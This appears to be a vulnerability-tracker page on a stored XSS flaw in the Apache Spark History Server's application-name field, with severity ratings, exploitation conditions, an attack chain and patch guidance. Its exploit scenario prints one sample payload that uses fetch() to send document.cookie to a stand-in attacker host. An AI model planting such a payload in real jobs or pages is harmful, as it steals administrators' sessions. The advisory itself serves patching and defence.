Skip to main content

Apache Spark CVE-2026-32773

| EUVDEUVD-2026-69899 MEDIUM
Basic XSS (CWE-80)
6.1
CVSS 3.1 · Vendor
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker holds or obtains Spark job submission rights
  2. Delivery
    Craft Spark job with XSS payload in spark.app.name
  3. Exploit
    Submit job to cluster; job runs and completes
  4. Install
    Payload stored in History Server metadata
  5. C2
    Social-engineer admin to visit History Server page
  6. Execute
    Stored XSS executes in admin browser
  7. Impact
    Session token exfiltrated or admin-context actions performed

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization HTML tag escaping
MITRE ATT&CK

1 technique across 1 tactic: Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires both of the following conditions to be satisfied simultaneously: (1) The attacker must hold Spark job submission permissions on the cluster - this is a privileged operation typically granted only to data engineers, data scientists, or pipeline operators, not arbitrary network users. (2) A higher-privileged user (e.g., a Spark platform administrator) must be socially engineered into visiting the Spark History Server web page where the malicious job's history entry is displayed; the XSS fires passively on page load with no further interaction. The vulnerability is meaningless if all job submitters are already trusted at the same level as History Server viewers (no privilege gap), or if the History Server is access-controlled such that only admins can reach it but also only admins can submit jobs.

Impact

Apache's self-assessment of Low severity is well-calibrated to the real-world risk. No CVSS vector was provided in the input, but independently derived metrics yield approximately CVSS 3.1 ~4.6 (AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N), consistent with a Low-to-Medium rating. No EPSS score is available. The vulnerability is not in CISA KEV, and no public exploit or POC has been identified. The attack chain requires two non-trivial prerequisites to be satisfied simultaneously: the attacker must hold job submission permissions (a privileged role in most enterprise Spark deployments) and must successfully social-engineer a higher-privileged administrator into visiting the History Server page displaying the malicious job. The impact is bounded to browser-level session compromise ('minimal privilege escalation in browser' per the advisory) - this does not offer direct cluster access, code execution on the server, or data exfiltration beyond what the admin session exposes. For most enterprises this is a patch-on-next-cycle issue; emergency response is not warranted unless the History Server is exposed to a broad, untrusted population of job submitters.

Exploit ScenarioDerived

An attacker with Spark job submission rights crafts a job with a malicious application name such as <script>fetch('https://attacker.example/log?c='+document.cookie)</script> and submits it to the cluster. The attacker then sends the administrator a plausible operational reason to check that job's history on the History Server. When the administrator loads the History Server page, the unescaped application name executes in the administrator's browser, exfiltrating their session cookie or performing actions on their behalf. No public exploit code has been identified, but this is a textbook stored XSS pattern requiring no specialized tooling.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 01, 2026

Stored XSS in the Apache Spark History Server (versions 3.0.0 through 3.5.7) allows a user with Spark job submission rights to inject unsanitized HTML/JavaScript into the History Server web UI via the application name field (spark.app.name), which executes in the browser of any higher-privileged user who subsequently views that job's history page. Apache rates this low severity due to layered prerequisites - the attacker must hold job submission rights and socially engineer an administrator into visiting the History Server. No public exploit has been identified at time of analysis; the vendor-released fix is Spark 3.5.8.

RemediationAI

Vendor-released patch: Apache Spark 3.5.8. Upgrade the Spark History Server deployment to version 3.5.8 or later, as directed by the Apache oss-security advisory (https://seclists.org/oss-sec/2026/q3/635) and tracked in SPARK-53337. Prior to patching, the most effective compensating control is restricting History Server network access to trusted administrator IP ranges only via firewall rules or a reverse-proxy with authentication - this prevents low-trust job submitters from sharing a History Server instance with administrators, eliminating the cross-privilege escalation path. A secondary control is auditing who holds Spark job submission rights and limiting that population to users already trusted at the administrator level; this collapses the attacker/victim privilege gap and makes the XSS meaningless. Note that neither workaround addresses the underlying escaping defect and both may be operationally disruptive in large shared-cluster environments.

Affected VersionsENISA

Apache Spark 3.0.0 <3.5.8

Affected Packages

maven org.apache.spark:spark-core_2.12 fix: 3.5.8
maven org.apache.spark:spark-core_2.13 fix: 3.5.8
maven pyspark fix: 3.5.8
pypi org-apache-spark:spark-core-2-12 fix: 3.5.8
pypi org-apache-spark:spark-core-2-13 fix: 3.5.8
pypi pyspark fix: 3.5.8
euvd apache_spark fix: 3.5.8

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 6 packages in maven, pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the Apache Spark History Server's Web UI component (Maven artifact org.apache.spark), specifically in the server-side rendering of the spark.app.name metadata field for completed applications. The History Server reads application name from job metadata and injects it into HTML output without applying HTML entity encoding, a classic CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS) weakness. The Jira issue SPARK-53747 ('spark.app.name should be escaped') and its parent SPARK-53337 ('Spark Web: Ensure the application name get escaped', now Closed) confirm the exact injection point. The History Server is a standalone web service bundled with Apache Spark that displays historical Spark application metadata to operators; it typically runs on an internal port accessible to data platform administrators. The affected version range spans 3.0.0 through 3.5.7 across the full org.apache.spark artifact group.

Know when Spark gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (CNA) PRIMARY 6.1 LOW
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 4.4 MEDIUM

Requires job-submission privileges (PR:L), admin social engineering (AC:H, UI:R), and achieves only browser-scope impact on the victim session (S:C, C:L/I:L, A:N).

3.1 AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Red Hat 3.5 LOW

Primary rating from Vendor (CNA).

CVSS VectorVendor

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
CVSS changed
Sep 02, 2026 - 13:22 NVD
6.1 (MEDIUM)
Patch available
Sep 02, 2026 - 12:16 EUVD
CVE Published
Sep 01, 2026 - 21:09 oss-security
HIGH

Description PRE-NVD

Disclosed via oss-security. NVD scoring and full description are pending.

Executive ViewAI

Why It Matters

Apache Spark History Server (versions 3.0.0-3.5.7) contains a stored cross-site scripting vulnerability that allows internal users with job submission rights to inject malicious code targeting administrators, risking credential compromise and unauthorized administrative actions. The attack requires both Spark access privileges and social engineering but poses significant risk to sensitive administrator accounts. Organizations should prioritize upgrading to version 3.5.8 to eliminate this targeted vulnerability.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 83% exploitable
Prevalence
High
widely deployed big data and analytics platform across enterprise environments
Data Quality
5 sources
Confidence: Medium
EUVD NVD CVE.org EPSS Vulnrichment Vendor VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

More in Spark

View all
CVE-2022-33891 HIGH POC
8.8 Jul 18

The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. Rated high sev

CVE-2020-9480 CRITICAL POC
9.8 Jun 23

In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication (s

CVE-2020-12772 HIGH POC
8.8 May 12

An issue was discovered in Ignite Realtime Spark 2.8.3 (and the ROAR plugin for it) on Windows. Rated high severity (CVS

CVE-2016-9177 HIGH POC
7.5 Nov 04

Directory traversal vulnerability in Spark 2.5 allows remote attackers to read arbitrary files via a .. Rated high sever

CVE-2018-11770 MEDIUM POC
4.2 Aug 13

From version 1.3.0 onward, Apache Spark's standalone master exposes a REST API for job submission, in addition to the su

CVE-2024-23945 MEDIUM POC
5.9 Dec 23

Signing cookies is an application security feature that adds a digital signature to cookie data to verify its authentici

CVE-2023-22946 CRITICAL
9.9 Apr 17

In Apache Spark versions prior to 3.4.0, applications using spark-submit can specify a 'proxy-user' to run as, limiting

CVE-2018-17190 CRITICAL
9.8 Nov 19

In all versions of Apache Spark, its standalone resource manager accepts code to execute on a 'master' host, that then r

CVE-2018-8024 MEDIUM POC
5.4 Jul 12

In Apache Spark 2.1.0 to 2.1.2, 2.2.0 to 2.2.1, and 2.3.0, it's possible for a malicious user to construct a URL pointin

CVE-2023-32007 HIGH
8.8 May 02

** UNSUPPORTED WHEN ASSIGNED ** The Apache Spark UI offers the possibility to enable ACLs via the configuration option s

CVE-2017-12612 HIGH
7.8 Sep 13

In Apache Spark 1.6.0 until 2.1.1, the launcher API performs unsafe deserialization of data received by its socket. Rate

CVE-2016-1322 HIGH
7.5 Feb 12

The REST interface in Cisco Spark 2015-07-04 allows remote attackers to bypass intended access restrictions and create a

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy